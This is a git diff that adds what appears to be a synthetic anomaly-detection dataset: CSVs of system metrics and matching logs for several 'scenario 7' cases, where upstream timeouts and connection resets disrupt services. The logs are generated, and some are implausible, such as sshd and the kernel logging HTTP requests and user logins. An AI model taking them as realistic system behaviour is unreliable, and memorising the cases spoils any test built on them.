sshd[15403]: Accepted publickey for ubuntu from 192.168.1.105 port 11570 ssh2 +Jul 15 14:05:30 kubelet[12386]: INFO routine sync completed for pod web-app-clone +Jul 15 14:05:40 sshd[10378]: Accepted publickey for ubuntu from 192.168.1.105 port 20894 ssh2 +Jul 15 14:05:45 kubelet[6463]: INFO routine sync completed for pod web-app-clone +Jul 15 14:05:50 kubelet[14549]: INFO routine sync completed for pod web-app-clone +Jul 15 14:05:55 sshd[16305]: Accepted publickey for ubuntu from 192.168.1.105 port 22706 ssh2 +Jul 15 14:06:05 kubelet[5475]: INFO routine sync completed for pod web-app-clone +Jul 15 14:06:10 nginx[18208]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 15 14:06:35 cron[5535]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:06:40 nginx[13476]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 15 14:06:50 cron[13988]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:06:55 nginx[3921]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 15 14:07:00 systemd[1]: Started Session 98 of user ubuntu. +Jul 15 14:07:05 nginx[14058]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 15 14:07:10 sshd[13240]: Accepted publickey for ubuntu from 192.168.1.105 port 16321 ssh2 +Jul 15 14:07:15 kubelet[13886]: INFO Successfully probed container metrics-collector +Jul 15 14:07:20 sshd[17779]: Accepted publickey for ubuntu from 192.168.1.105 port 11381 ssh2 +Jul 15 14:07:25 kubelet[15854]: INFO routine sync completed for pod web-app-clone diff --git a/anom_dataset/scenario_7/anom_7_22.csv b/anom_dataset/scenario_7/anom_7_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..79943b9e266c3661987517a693c6cab3f4610bbe --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:20:00Z,14.42,39.95,24.25,1.34,1.86 +2025-07-15T14:20:05Z,14.83,40.3,23.5,1.2,1.72 +2025-07-15T14:20:10Z,15.34,40.36,23.17,1.24,1.54 +2025-07-15T14:20:15Z,16.89,40.69,23.63,1.74,2.01 +2025-07-15T14:20:20Z,14.39,39.21,25.42,1.41,1.71 +2025-07-15T14:20:25Z,15.23,39.1,25.55,1.23,2.1 +2025-07-15T14:20:30Z,15.48,39.11,26.0,1.77,1.62 +2025-07-15T14:20:35Z,16.69,40.55,26.23,1.37,1.88 +2025-07-15T14:20:40Z,15.67,39.19,26.61,1.38,1.77 +2025-07-15T14:20:45Z,14.4,39.41,26.49,1.57,1.73 +2025-07-15T14:20:50Z,15.44,40.89,26.68,1.34,1.8 +2025-07-15T14:20:55Z,16.73,39.77,23.12,1.46,1.58 +2025-07-15T14:21:00Z,15.12,40.04,25.29,1.39,1.79 +2025-07-15T14:21:05Z,16.38,40.2,24.77,1.25,2.01 +2025-07-15T14:21:10Z,16.24,40.37,25.7,1.56,2.07 +2025-07-15T14:21:15Z,13.06,40.3,23.89,1.37,1.58 +2025-07-15T14:21:20Z,16.86,40.65,26.27,1.59,2.06 +2025-07-15T14:21:25Z,15.63,39.21,26.78,1.26,1.75 +2025-07-15T14:21:30Z,16.14,39.04,26.23,1.32,1.87 +2025-07-15T14:21:35Z,16.07,40.56,24.41,1.51,1.69 +2025-07-15T14:21:40Z,13.71,40.79,26.83,1.22,1.52 +2025-07-15T14:21:45Z,15.14,40.09,25.16,1.7,2.06 +2025-07-15T14:21:50Z,16.96,39.82,24.1,1.6,1.98 +2025-07-15T14:21:55Z,13.42,40.59,25.45,1.38,1.59 +2025-07-15T14:22:00Z,16.7,39.29,24.37,1.47,1.92 +2025-07-15T14:22:05Z,14.38,39.56,26.91,1.64,1.73 +2025-07-15T14:22:10Z,14.69,40.73,23.43,1.71,1.61 +2025-07-15T14:22:15Z,14.38,39.98,24.45,1.46,1.66 +2025-07-15T14:22:20Z,15.06,39.95,24.4,1.49,1.57 +2025-07-15T14:22:25Z,13.32,40.17,25.07,1.79,1.96 +2025-07-15T14:22:30Z,25.78,40.17,26.31,0.31,0.63 +2025-07-15T14:22:35Z,29.93,40.17,25.51,0.48,0.9 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+2025-07-15T14:24:20Z,26.34,40.17,23.16,0.4,0.31 +2025-07-15T14:24:25Z,29.42,40.17,24.05,0.09,0.39 +2025-07-15T14:24:30Z,32.21,40.17,25.85,0.23,0.87 +2025-07-15T14:24:35Z,29.53,40.17,23.49,0.51,0.33 +2025-07-15T14:24:40Z,25.99,40.17,26.32,0.25,0.76 +2025-07-15T14:24:45Z,29.02,40.17,24.79,0.45,0.68 +2025-07-15T14:24:50Z,31.96,40.17,25.38,0.47,0.9 +2025-07-15T14:24:55Z,26.2,40.17,23.84,0.22,0.88 +2025-07-15T14:25:00Z,29.09,40.17,24.61,0.16,0.87 +2025-07-15T14:25:05Z,31.67,40.17,24.04,0.44,0.65 +2025-07-15T14:25:10Z,26.86,40.17,23.48,0.42,0.38 +2025-07-15T14:25:15Z,27.55,40.17,23.24,0.22,0.13 +2025-07-15T14:25:20Z,26.68,40.17,23.52,0.32,0.64 +2025-07-15T14:25:25Z,28.81,40.17,24.12,0.31,0.27 +2025-07-15T14:25:30Z,30.24,40.17,23.33,0.25,0.7 +2025-07-15T14:25:35Z,27.32,40.17,24.52,0.27,0.68 +2025-07-15T14:25:40Z,31.19,40.17,26.95,0.28,0.52 +2025-07-15T14:25:45Z,31.09,40.17,23.61,0.41,0.55 +2025-07-15T14:25:50Z,12.99,73.53,26.21,1.59,1.64 +2025-07-15T14:25:55Z,14.51,72.01,26.81,1.3,2.04 +2025-07-15T14:26:00Z,12.09,72.53,23.93,1.63,1.75 +2025-07-15T14:26:05Z,16.79,70.13,25.15,1.28,2.1 +2025-07-15T14:26:10Z,15.65,69.63,26.72,1.47,1.95 +2025-07-15T14:26:15Z,17.97,69.03,25.54,1.54,1.8 +2025-07-15T14:26:20Z,12.77,67.85,25.97,1.69,1.92 +2025-07-15T14:26:25Z,15.5,65.43,23.29,1.62,1.65 +2025-07-15T14:26:30Z,16.09,65.48,26.4,1.39,1.77 +2025-07-15T14:26:35Z,17.48,63.89,23.64,1.71,1.54 +2025-07-15T14:26:40Z,14.36,62.87,25.25,1.69,1.55 +2025-07-15T14:26:45Z,13.82,60.4,25.34,1.32,1.56 +2025-07-15T14:26:50Z,14.85,60.81,23.84,1.64,1.7 +2025-07-15T14:26:55Z,15.23,58.5,24.88,1.32,1.7 +2025-07-15T14:27:00Z,15.01,56.58,25.59,1.25,1.96 +2025-07-15T14:27:05Z,12.76,55.42,23.57,1.33,1.55 +2025-07-15T14:27:10Z,14.38,55.16,23.54,1.29,2.06 +2025-07-15T14:27:15Z,12.67,53.17,25.36,1.35,1.8 +2025-07-15T14:27:20Z,17.59,51.59,25.38,1.59,1.73 +2025-07-15T14:27:25Z,12.53,52.12,24.85,1.57,2.05 diff --git a/anom_dataset/scenario_7/anom_7_22.log b/anom_dataset/scenario_7/anom_7_22.log new file mode 100644 index 0000000000000000000000000000000000000000..821591d1cee964c0bc61c0960fd5bd7f6d84baa8 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_22.log @@ -0,0 +1,33 @@ +Jul 15 14:20:00 systemd[1]: Started Session 10 of user ubuntu. +Jul 15 14:20:25 cron[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:22:05 app-server[1123]: INFO: User 'alex' logged in successfully. +Jul 15 14:22:10 kernel: [1823.4321] TCP: request_sock_TCP: Dropping request +Jul 15 14:22:30 data-processor[9012]: ERROR: Failed to send data to remote endpoint: Connection timed out +Jul 15 14:22:40 database-replicator[7890]: WARNING: Read timeout while fetching updates from primary +Jul 15 14:22:45 api-gateway[3456]: ERROR: Upstream service connection timeout for GET /data +Jul 15 14:22:50 frontend-nginx[1234]: [error] 1234#1234: *5678 upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:22:55 frontend-nginx[1234]: [error] 1234#1234: *5678 upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:23:00 frontend-nginx[1234]: [error] 1234#1234: *5678 upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:23:05 api-gateway[3456]: ERROR: Upstream service connection timeout for GET /data +Jul 15 14:23:10 backend-service[5678]: CRITICAL: Connection reset by peer while processing payment transaction +Jul 15 14:23:15 api-gateway[3456]: ERROR: Upstream service connection timeout for GET /data +Jul 15 14:23:20 api-gateway[3456]: ERROR: Upstream service connection timeout for GET /data +Jul 15 14:23:25 frontend-nginx[1234]: [error] 1234#1234: *5678 upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:23:30 data-processor[9012]: ERROR: Failed to send data to remote endpoint: Connection timed out +Jul 15 14:23:50 database-replicator[7890]: WARNING: Read timeout while fetching updates from primary +Jul 15 14:23:55 api-gateway[3456]: ERROR: Upstream service connection timeout for GET /data +Jul 15 14:24:10 backend-service[5678]: CRITICAL: Connection reset by peer while processing payment transaction +Jul 15 14:24:15 kernel: [1823.4321] TCP: request_sock_TCP: Dropping request +Jul 15 14:24:20 data-processor[9012]: ERROR: Failed to send data to remote endpoint: Connection timed out +Jul 15 14:24:30 data-processor[9012]: ERROR: Failed to send data to remote endpoint: Connection timed out +Jul 15 14:24:35 backend-service[5678]: CRITICAL: Connection reset by peer while processing payment transaction +Jul 15 14:24:40 database-replicator[7890]: WARNING: Read timeout while fetching updates from primary +Jul 15 14:25:00 api-gateway[3456]: ERROR: Upstream service connection timeout for GET /data +Jul 15 14:25:10 backend-service[5678]: CRITICAL: Connection reset by peer while processing payment transaction +Jul 15 14:25:15 frontend-nginx[1234]: [error] 1234#1234: *5678 upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:25:25 backend-service[5678]: CRITICAL: Connection reset by peer while processing payment transaction +Jul 15 14:25:30 backend-service[5678]: CRITICAL: Connection reset by peer while processing payment transaction +Jul 15 14:25:35 frontend-nginx[1234]: [error] 1234#1234: *5678 upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:25:40 data-processor[9012]: ERROR: Failed to send data to remote endpoint: Connection timed out +Jul 15 14:26:45 cron[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:27:25 systemd[1]: Started Session 8 of user ubuntu. diff --git a/anom_dataset/scenario_7/anom_7_23.csv b/anom_dataset/scenario_7/anom_7_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..a135dd669e29ec2638f8cd6ff46ac04b6bc2e300 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,16.52,38.83,24.25,1.26,1.21 +2025-08-15T10:00:05Z,13.12,41.27,21.7,1.05,1.33 +2025-08-15T10:00:10Z,15.0,41.16,20.43,1.11,1.13 +2025-08-15T10:00:15Z,15.43,41.83,20.51,1.41,1.14 +2025-08-15T10:00:20Z,14.26,38.56,23.31,1.19,1.15 +2025-08-15T10:00:25Z,11.61,41.99,22.52,0.82,1.61 +2025-08-15T10:00:30Z,18.02,37.28,23.9,1.25,1.01 +2025-08-15T10:00:35Z,18.56,39.27,20.57,1.37,1.7 +2025-08-15T10:00:40Z,15.29,39.18,21.46,0.99,1.1 +2025-08-15T10:00:45Z,13.4,40.66,20.87,0.89,1.63 +2025-08-15T10:00:50Z,11.3,38.68,24.82,1.38,1.62 +2025-08-15T10:00:55Z,17.03,41.56,22.47,1.47,1.61 +2025-08-15T10:01:00Z,14.78,40.31,20.53,1.26,1.52 +2025-08-15T10:01:05Z,14.32,41.45,23.67,1.27,1.64 +2025-08-15T10:01:10Z,13.75,39.8,21.75,1.04,1.03 +2025-08-15T10:01:15Z,16.34,40.45,20.41,1.01,1.18 +2025-08-15T10:01:20Z,17.24,41.85,22.66,1.48,1.18 +2025-08-15T10:01:25Z,18.77,37.98,20.48,1.28,1.05 +2025-08-15T10:01:30Z,11.9,41.17,21.13,1.22,1.19 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(root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:00:21 systemd[1]: Started Session 13784 of user root. +Aug 15 10:00:46 cron[19304]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:00:58 systemd[1]: Started Session 15950 of user root. +Aug 15 10:01:06 sshd[8731]: Accepted publickey for user from 10.0.2.2 port 55700 ssh2 +Aug 15 10:01:09 kubelet[1120]: INFO routine sync completed for pod web-app-17797 +Aug 15 10:01:15 systemd[1]: Started Session 17869 of user root. +Aug 15 10:01:41 systemd[1]: Started Session 11295 of user root. +Aug 15 10:01:46 kubelet[1120]: INFO Successfully probed container metrics-collector +Aug 15 10:02:10 systemd[1]: Started Session 17171 of user root. +Aug 15 10:02:13 cron[14089]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:46 app[4501]: ERROR Connection timeout while connecting to downstream service-b +Aug 15 10:03:14 app[4501]: ERROR Connection timeout while connecting to downstream service-b +Aug 15 10:03:18 ingress-controller[3320]: Backend service service-c returned 504 (Gateway Timeout) +Aug 15 10:03:25 app[4501]: ERROR Connection timeout while connecting to downstream service-b +Aug 15 10:03:46 app[4501]: WARN Read timeout on socket for upstream service-a +Aug 15 10:04:20 cron[12897]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:24 ingress-controller[3320]: Backend service service-c returned 504 (Gateway Timeout) +Aug 15 10:04:41 app[4501]: WARN Read timeout on socket for upstream service-a +Aug 15 10:04:46 app[4501]: WARN Read timeout on socket for upstream service-a +Aug 15 10:04:51 app[4501]: WARN Read timeout on socket for upstream service-a +Aug 15 10:05:05 app[4501]: ERROR Failed to process request: Connection reset by peer +Aug 15 10:05:13 ingress-controller[3320]: Backend service service-c returned 504 (Gateway Timeout) +Aug 15 10:05:18 app[4501]: ERROR Failed to process request: Connection reset by peer +Aug 15 10:05:25 systemd[1]: Started Session 11747 of user root. +Aug 15 10:05:39 kernel: TCP: Dropping TCP socket due to connection reset by peer +Aug 15 10:05:45 ingress-controller[3320]: Backend service service-c returned 504 (Gateway Timeout) +Aug 15 10:05:48 kubelet[1120]: INFO Successfully probed container metrics-collector +Aug 15 10:07:05 kubelet[1120]: INFO Successfully probed container metrics-collector +Aug 15 10:07:16 systemd[1]: Started Session 15719 of user root. +Aug 15 10:07:18 nginx[2301]: GET /api/v1/health HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_7/anom_7_24.csv b/anom_dataset/scenario_7/anom_7_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..f6758a336d8fac1afd25e92f8d75e85115e51c77 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,16.049542165468097,39.18900442647272,28.654225029311245,0.8038845140436,1.2450352810197463 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+2025-07-03T10:06:50Z,17.44461061999797,35.39833674392995,25.000916301967465,0.8798465490603435,1.4360439656144497 +2025-07-03T10:06:55Z,14.195788971783953,40.263900271834146,21.675641505043366,1.0243085825136702,2.081437227876641 +2025-07-03T10:07:00Z,12.138429755963468,40.98017289367638,21.667898543664286,1.2871408868802874,1.75035913176878 +2025-07-03T10:07:05Z,14.700728765840962,40.07466745795359,26.097904036935596,1.0366741884263786,1.989841935946949 +2025-07-03T10:07:10Z,19.22660640877482,36.55490110056671,27.45741206613635,0.7946915257613316,1.8274620593979454 +2025-07-03T10:07:15Z,13.73067938776891,43.1759476502763,27.85145056648796,1.0323789608621847,1.7713837269187462 +2025-07-03T10:07:20Z,14.656114371168538,40.43156551415299,23.409229190802858,1.1453978043829622,1.290118955534529 +2025-07-03T10:07:25Z,13.659518600454225,41.4496251544317,25.74325861792222,0.5745676953555954,0.8851485826722522 diff --git a/anom_dataset/scenario_7/anom_7_24.log b/anom_dataset/scenario_7/anom_7_24.log new file mode 100644 index 0000000000000000000000000000000000000000..643e56a8373a4edb6c41c9bd42f0714d027cd3a2 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_24.log @@ -0,0 +1,90 @@ +Jul 03 10:00:00 kernel: INFO: GET /api/v1/data returned 200. +Jul 03 10:00:05 systemd[1]: INFO: Background job 'ProcessDailyReports' completed in 1.12 seconds. +Jul 03 10:00:10 app-server[5432]: INFO: User 132 authenticated successfully. +Jul 03 10:00:15 systemd[1]: INFO: User 110 authenticated successfully. +Jul 03 10:00:20 app-server[5432]: INFO: GET /api/v1/data returned 200. +Jul 03 10:00:25 app-server[5432]: INFO: Background job 'ProcessDailyReports' completed in 2.37 seconds. +Jul 03 10:00:30 systemd[1]: INFO: Starting background job: ProcessDailyReports. +Jul 03 10:00:35 kernel: INFO: Background job 'ProcessDailyReports' completed in 3.36 seconds. +Jul 03 10:00:40 app-server[5432]: INFO: GET /api/v1/data returned 200. +Jul 03 10:00:45 sshd[10234]: INFO: Starting background job: ProcessDailyReports. +Jul 03 10:00:50 sshd[10234]: INFO: GET /api/v1/data returned 200. +Jul 03 10:00:55 app-server[5432]: INFO: Background job 'ProcessDailyReports' completed in 4.05 seconds. +Jul 03 10:01:00 app-server[5432]: INFO: GET /api/v1/data returned 200. +Jul 03 10:01:05 systemd[1]: INFO: User 178 authenticated successfully. +Jul 03 10:01:10 kernel: INFO: Background job 'ProcessDailyReports' completed in 4.53 seconds. +Jul 03 10:01:15 app-server[5432]: DEBUG: Cache hit for key 'user:profile:114'. +Jul 03 10:01:20 sshd[10234]: INFO: GET /api/v1/data returned 200. +Jul 03 10:01:25 sshd[10234]: INFO: GET /api/v1/data returned 200. +Jul 03 10:01:30 sshd[10234]: INFO: User 146 authenticated successfully. +Jul 03 10:01:35 systemd[1]: INFO: GET /api/v1/data returned 200. +Jul 03 10:01:40 sshd[10234]: INFO: Background job 'ProcessDailyReports' completed in 4.8 seconds. +Jul 03 10:01:45 sshd[10234]: INFO: GET /api/v1/data returned 200. +Jul 03 10:01:50 systemd[1]: INFO: GET /api/v1/data returned 200. +Jul 03 10:01:55 app-server[5432]: INFO: User 108 authenticated successfully. +Jul 03 10:02:00 systemd[1]: DEBUG: Cache hit for key 'user:profile:115'. +Jul 03 10:02:05 app-server[5432]: INFO: GET /api/v1/data returned 200. +Jul 03 10:02:10 app-server[5432]: INFO: Starting background job: ProcessDailyReports. +Jul 03 10:02:15 systemd[1]: INFO: GET /api/v1/data returned 200. +Jul 03 10:02:20 kernel: DEBUG: Cache hit for key 'user:profile:185'. +Jul 03 10:02:25 systemd[1]: INFO: Background job 'ProcessDailyReports' completed in 1.31 seconds. +Jul 03 10:02:30 sshd[10234]: CRITICAL: Connection reset by peer for socket 13577. +Jul 03 10:02:35 kernel: WARN: Read timeout occurred for request 'req-1422'. +Jul 03 10:02:40 kernel: INFO: Starting background job: ProcessDailyReports. +Jul 03 10:02:45 systemd[1]: WARN: Read timeout occurred for request 'req-2147'. +Jul 03 10:02:50 systemd[1]: WARN: Read timeout occurred for request 'req-1839'. +Jul 03 10:02:55 app-server[5432]: ERROR: Failed to establish connection to redis:1234 after 3 attempts. +Jul 03 10:03:00 app-server[5432]: WARN: Read timeout occurred for request 'req-2728'. +Jul 03 10:03:05 sshd[10234]: INFO: Background job 'ProcessDailyReports' completed in 3.32 seconds. +Jul 03 10:03:10 systemd[1]: INFO: Background job 'ProcessDailyReports' completed in 3.83 seconds. +Jul 03 10:03:15 app-server[5432]: WARN: Read timeout occurred for request 'req-4497'. +Jul 03 10:03:20 app-server[5432]: INFO: User 125 authenticated successfully. +Jul 03 10:03:25 systemd[1]: WARN: Read timeout occurred for request 'req-7178'. +Jul 03 10:03:30 sshd[10234]: INFO: User 180 authenticated successfully. +Jul 03 10:03:35 sshd[10234]: DEBUG: Cache hit for key 'user:profile:136'. +Jul 03 10:03:40 sshd[10234]: WARN: Read timeout occurred for request 'req-4686'. +Jul 03 10:03:45 systemd[1]: DEBUG: Cache hit for key 'user:profile:177'. +Jul 03 10:03:50 kernel: ERROR: Upstream service 'user-database' closed the connection unexpectedly. +Jul 03 10:03:55 systemd[1]: WARN: Read timeout occurred for request 'req-8192'. +Jul 03 10:04:00 systemd[1]: WARN: Read timeout occurred for request 'req-3869'. +Jul 03 10:04:05 kernel: CRITICAL: Connection reset by peer for socket 10116. +Jul 03 10:04:10 sshd[10234]: INFO: Background job 'ProcessDailyReports' completed in 1.11 seconds. +Jul 03 10:04:15 kernel: ERROR: Failed to establish connection to redis:1234 after 3 attempts. +Jul 03 10:04:20 sshd[10234]: ERROR: Upstream service 'user-database' closed the connection unexpectedly. +Jul 03 10:04:25 systemd[1]: INFO: Starting background job: ProcessDailyReports. +Jul 03 10:04:30 app-server[5432]: INFO: GET /api/v1/data returned 200. +Jul 03 10:04:35 app-server[5432]: ERROR: Connection timeout while connecting to service 'payment-gateway'. +Jul 03 10:04:40 app-server[5432]: ERROR: Connection timeout while connecting to service 'payment-gateway'. +Jul 03 10:04:45 systemd[1]: ERROR: Connection timeout while connecting to service 'payment-gateway'. +Jul 03 10:04:50 sshd[10234]: DEBUG: Cache hit for key 'user:profile:130'. +Jul 03 10:04:55 sshd[10234]: CRITICAL: Connection reset by peer for socket 13963. +Jul 03 10:05:00 sshd[10234]: CRITICAL: Connection reset by peer for socket 18878. +Jul 03 10:05:05 kernel: ERROR: Connection timeout while connecting to service 'payment-gateway'. +Jul 03 10:05:10 kernel: ERROR: Connection timeout while connecting to service 'payment-gateway'. +Jul 03 10:05:15 systemd[1]: DEBUG: Cache hit for key 'user:profile:187'. +Jul 03 10:05:20 app-server[5432]: DEBUG: Cache hit for key 'user:profile:109'. +Jul 03 10:05:25 sshd[10234]: CRITICAL: Connection reset by peer for socket 16728. +Jul 03 10:05:30 systemd[1]: ERROR: Failed to establish connection to redis:1234 after 3 attempts. +Jul 03 10:05:35 sshd[10234]: WARN: Read timeout occurred for request 'req-9558'. +Jul 03 10:05:40 kernel: ERROR: Connection timeout while connecting to service 'payment-gateway'. +Jul 03 10:05:45 systemd[1]: DEBUG: Cache hit for key 'user:profile:129'. +Jul 03 10:05:50 kernel: INFO: User 147 authenticated successfully. +Jul 03 10:05:55 kernel: INFO: Background job 'ProcessDailyReports' completed in 2.08 seconds. +Jul 03 10:06:00 systemd[1]: INFO: Starting background job: ProcessDailyReports. +Jul 03 10:06:05 systemd[1]: ERROR: Connection timeout while connecting to service 'payment-gateway'. +Jul 03 10:06:10 kernel: INFO: GET /api/v1/data returned 200. +Jul 03 10:06:15 sshd[10234]: INFO: GET /api/v1/data returned 200. +Jul 03 10:06:20 sshd[10234]: INFO: Background job 'ProcessDailyReports' completed in 2.24 seconds. +Jul 03 10:06:25 sshd[10234]: ERROR: Upstream service 'user-database' closed the connection unexpectedly. +Jul 03 10:06:30 sshd[10234]: ERROR: Upstream service 'user-database' closed the connection unexpectedly. +Jul 03 10:06:35 sshd[10234]: ERROR: Upstream service 'user-database' closed the connection unexpectedly. +Jul 03 10:06:40 systemd[1]: INFO: GET /api/v1/data returned 200. +Jul 03 10:06:45 sshd[10234]: INFO: GET /api/v1/data returned 200. +Jul 03 10:06:50 sshd[10234]: INFO: Background job 'ProcessDailyReports' completed in 1.34 seconds. +Jul 03 10:06:55 kernel: INFO: Background job 'ProcessDailyReports' completed in 1.98 seconds. +Jul 03 10:07:00 sshd[10234]: INFO: Background job 'ProcessDailyReports' completed in 2.62 seconds. +Jul 03 10:07:05 app-server[5432]: INFO: User 192 authenticated successfully. +Jul 03 10:07:10 app-server[5432]: INFO: Starting background job: ProcessDailyReports. +Jul 03 10:07:15 sshd[10234]: DEBUG: Cache hit for key 'user:profile:159'. +Jul 03 10:07:20 kernel: INFO: User 137 authenticated successfully. +Jul 03 10:07:25 app-server[5432]: INFO: User 125 authenticated successfully. diff --git a/anom_dataset/scenario_7/anom_7_25.csv b/anom_dataset/scenario_7/anom_7_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..503033ca323b719c97bb502b46188b0018de857e --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,16.05,39.19,28.65,0.8,1.25 +2025-07-02T11:00:05Z,17.74,38.96,24.08,0.94,2.02 +2025-07-02T11:00:10Z,16.2,42.49,21.32,0.67,1.67 +2025-07-02T11:00:15Z,15.56,41.33,28.3,1.0,1.37 +2025-07-02T11:00:20Z,15.0,39.59,27.74,0.59,1.18 +2025-07-02T11:00:25Z,20.57,41.17,25.12,1.19,1.61 +2025-07-02T11:00:30Z,15.74,36.78,21.67,1.02,1.51 +2025-07-02T11:00:35Z,13.76,38.9,20.0,1.07,1.56 +2025-07-02T11:00:40Z,10.93,39.86,23.84,1.06,1.17 +2025-07-02T11:00:45Z,13.28,36.85,21.88,1.26,1.51 +2025-07-02T11:00:50Z,16.96,38.62,23.51,0.99,0.87 +2025-07-02T11:00:55Z,14.86,35.53,22.99,0.64,1.51 +2025-07-02T11:01:00Z,12.32,41.66,28.01,0.87,1.59 +2025-07-02T11:01:05Z,14.68,39.46,27.27,0.62,1.94 +2025-07-02T11:01:10Z,14.33,37.71,23.37,1.02,1.47 +2025-07-02T11:01:15Z,18.74,37.56,26.22,1.32,1.31 +2025-07-02T11:01:20Z,14.42,41.5,27.23,0.93,1.72 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02 11:00:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:00:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:01:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:02:30 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:02:35 app[4567]: ERROR Read timeout while connecting to upstream service at 185.199.108.153:443 +Jul 02 11:02:40 app[4567]: ERROR Read timeout while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:02:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:02:45 app[4567]: ERROR Connection reset by peer while connecting to upstream service at 185.199.108.154:443 +Jul 02 11:02:55 app[4567]: ERROR Connection reset by peer while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:03:05 app[4567]: ERROR Read timeout while connecting to upstream service at 185.199.108.154:443 +Jul 02 11:03:10 app[4567]: ERROR Read timeout while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:03:25 app[4567]: ERROR Connection timeout while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:03:35 app[4567]: ERROR Error: name resolution failed while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:03:45 app[4567]: ERROR Read timeout while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:03:45 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:04:00 app[4567]: ERROR Read timeout while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:04:20 app[4567]: ERROR Connection timeout while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:04:25 app[4567]: ERROR Error: name resolution failed while connecting to upstream service at 185.199.108.154:443 +Jul 02 11:04:35 app[4567]: ERROR Error: name resolution failed while connecting to upstream service at 185.199.108.154:443 +Jul 02 11:04:40 app[4567]: ERROR Connection reset by peer while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:04:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:04:50 app[4567]: ERROR Error: name resolution failed while connecting to upstream service at 185.199.108.154:443 +Jul 02 11:04:55 app[4567]: ERROR Read timeout while connecting to upstream service at 185.199.108.154:443 +Jul 02 11:05:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:05:05 app[4567]: ERROR Read timeout while connecting to upstream service at 185.199.108.154:443 +Jul 02 11:05:20 app[4567]: ERROR Connection reset by peer while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:05:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:05:25 app[4567]: ERROR Connection timeout while connecting to upstream service at 185.199.108.154:443 +Jul 02 11:05:30 app[4567]: ERROR Connection timeout while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:05:40 app[4567]: ERROR Connection reset by peer while connecting to upstream service at 185.199.108.155:443 +Jul 02 11:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:06:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:07:20 kubelet[2345]: INFO routine sync completed for pod web-app diff --git a/anom_dataset/scenario_7/anom_7_26.csv b/anom_dataset/scenario_7/anom_7_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..2d356b061515b47791ebbf100edaf9def51c606d --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,16.05,39.59,28.65,1.0,1.63 +2025-08-15T14:00:05Z,17.74,39.48,24.08,1.14,2.15 +2025-08-15T14:00:10Z,16.2,41.25,21.32,0.87,1.92 +2025-08-15T14:00:15Z,15.56,40.66,28.3,1.2,1.72 +2025-08-15T14:00:20Z,15.0,39.8,27.74,0.79,1.59 +2025-08-15T14:00:25Z,20.57,40.58,25.12,1.39,1.87 +2025-08-15T14:00:30Z,15.74,38.39,21.67,1.22,1.8 +2025-08-15T14:00:35Z,13.76,39.45,20.0,1.27,1.84 +2025-08-15T14:00:40Z,10.93,39.93,23.84,1.26,1.58 